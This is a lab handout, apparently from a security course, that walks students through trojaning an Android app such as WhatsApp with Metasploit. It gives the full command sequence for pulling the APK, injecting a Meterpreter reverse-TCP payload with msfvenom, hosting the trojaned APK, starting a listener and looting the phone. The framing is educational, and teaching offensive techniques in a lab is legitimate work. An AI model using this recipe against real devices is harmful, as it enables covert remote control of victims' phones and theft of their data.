Proj 17: Trojaning an Android App with Metasploit (15 pts)

What You Need for This Project

Purpose

To use Metasploit to add Trojan code to an Android app. This is too easy :)

Task 1: Prepare the Phone

Install Firefox

On your Android device, in Google Play, install Firefox or Chrome, so you have a fully functional browser.

Install an App to Trojan

On your Android device, in Google Play, install an app. This worked for the apps shown below on March 15, 2019. If you try other apps, it may or may not work--I experienced approximately a 50% success rate with this process.

Warning

I think WhatsApp no longer works, as of May 2019; use the other apps instead.
I will use WhatsApp for the instructions below. If you are using a different app you'll have to adjust the commands to refer to the correct app name.

 

 

Task 2: Prepare the Malware with Kali

Connecting to your Android Device with ADB

On Kali, in a Terminal, execute these commands, replacing the IP address with the IP address of your Genymotion or Nox Android device: 
adb connect 172.16.123.154
adb devices -l
You should see your Genymotion device in the "List of devices attached", as shown below.

Upgrading Apktool

For this project, you need the latest version of Apktool, which was 2.4.0 when I did it, on March 15, 2019.

On Kali, execute these commands: 

apt purge apktool -y
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.0.jar
mv apktool_2.4.0.jar apktool.jar
mv apktool.jar /usr/bin
mv apktool /usr/bin
chmod +x /usr/bin/apktool*
apktool
You should see the "Apktool v2.4.0" help message, as shown below.

Pull the App from the Phone

On Kali, in a Terminal, execute these command to find the name of the installed "Whatsapp" package, find its location, and pull it from the phone.

The commands may need some adjustment to work on your system. You need the output of each command to know what to put in the next one. 

adb shell pm list packages | grep what
adb shell pm path com.whatsapp
adb pull /data/app/com.whatsapp-4ecBR8w_r7bateDGMM9YPg==/base.apk
The app should download, as shown below.

Adding Trojan Code to the App

On Kali, execute this command to see the Android payloads available in Metasploit. 
msfvenom -l payloads | grep android
There are only a few payloads available, as shown below.

On Kali, execute this command to find your IP address. 

ifconfig
When I did it, the address was 172.16.123.180, as shown below.

On Kali, execute this command to generate the malware, replacing the IP address with your Kali systems IP address: 

msfvenom -x base.apk -p android/meterpreter/reverse_tcp LHOST=172.16.123.180 -f raw -o whatspwned.apk
The malware is generated, as shown below.

On Kali, execute these commands to start a Web server and host your malicious app: 

service apache2 start
cp whatspwned.apk /var/www/html
The malware is generated, as shown below.

Starting a C&C Server

On Kali, in a Terminal, execute these commands, to start a listener: 
msfconsole -q
use multi/handler
set payload android/meterpreter/reverse_tcp 
set LHOST 0.0.0.0
exploit
Metasploit begins listening on port 4444, as shown below.

Task 3: Installing Malware on the Phone

Removing the Genuine App

On your Android device, in Google Play, search for the app you are using, as shown below.

Click UNINSTALL. Click OK.

Installing the Trojaned App

On your Android device, open Firefox and enter the IP address of your Kali machine. A default Apache page opens, as shown below.

Add the APK filename to the end of the IP address, as shown below. Your IP address will be different. 

172.16.123.180/whatspwned.apk
A little box pops up at the bottom of the phone, saying "whatspwned.apk downloaded", as shown below. In that little box, click OPEN.

It only appears for a few seconds, so you may need to repeat the process.

On your phone, click INSTALL. Click OPEN.

Task 4: Post-Exploitation

On Kali, you should see an open Meterpreter session, as shown below.

Saving a Screen Image

Make sure you can see the "Meterpreter session opened" message, as shown above.

Save a full-desktop image. On a Mac, press Shift+Commmand+3. On a PC, press Shift+PrntScrn and paste into Paint.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Save the image with the filename "YOUR NAME Proj 17", replacing "YOUR NAME" with your real name.

Looting the Phone

Try these Meterpreter commands:

Turning in your Project

Email the image to to cnit.128sam@gmail.com with the subject line: Proj 17 from YOUR NAME

References

Lab: Hacking an Android Device with MSFvenom

Posted 3-15-19 by Sam Bowne
-y added to purge command 3-19-19